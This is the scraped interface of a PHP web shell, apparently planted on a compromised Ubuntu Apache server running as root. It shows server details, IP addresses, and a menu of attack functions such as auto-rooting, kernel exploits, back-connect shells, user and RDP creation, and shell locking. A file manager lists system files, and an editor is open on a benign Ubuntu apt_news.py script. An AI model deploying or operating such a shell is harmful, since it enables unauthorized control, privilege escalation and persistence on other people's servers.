Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ubuntu-advantage /
[ HOME SHELL ]
Name
Size
Permission
Action
apt-esm-json-hook
46.16
KB
-rwxr-xr-x
apt_news.py
721
B
-rw-r--r--
auto_attach.py
2.98
KB
-rw-r--r--
cloud-id-shim.sh
500
B
-rwxr-xr-x
daemon.py
1.39
KB
-rw-r--r--
esm_cache.py
592
B
-rwxr-xr-x
migrate_user_config.py
5.42
KB
-rw-r--r--
patch_status_json.py
2.36
KB
-rwxr-xr-x
reboot_cmds.py
5.17
KB
-rw-r--r--
timer.py
6.36
KB
-rw-r--r--
upgrade_lts_contract.py
3.68
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apt_news.py
#!/usr/bin/python3 import logging from datetime import datetime, timedelta, timezone from uaclient import apt from uaclient.apt_news import update_apt_news from uaclient.config import UAConfig from uaclient.daemon import setup_logging def main(cfg: UAConfig): if not cfg.apt_news: return last_update = apt.get_apt_cache_datetime() one_day_ago = datetime.now(timezone.utc) - timedelta(days=1) if last_update is not None and last_update > one_day_ago: return update_apt_news(cfg) if __name__ == "__main__": cfg = UAConfig() setup_logging( logging.INFO, logging.DEBUG, log_file=cfg.log_file, logger=logging.getLogger(), ) main(cfg)
Close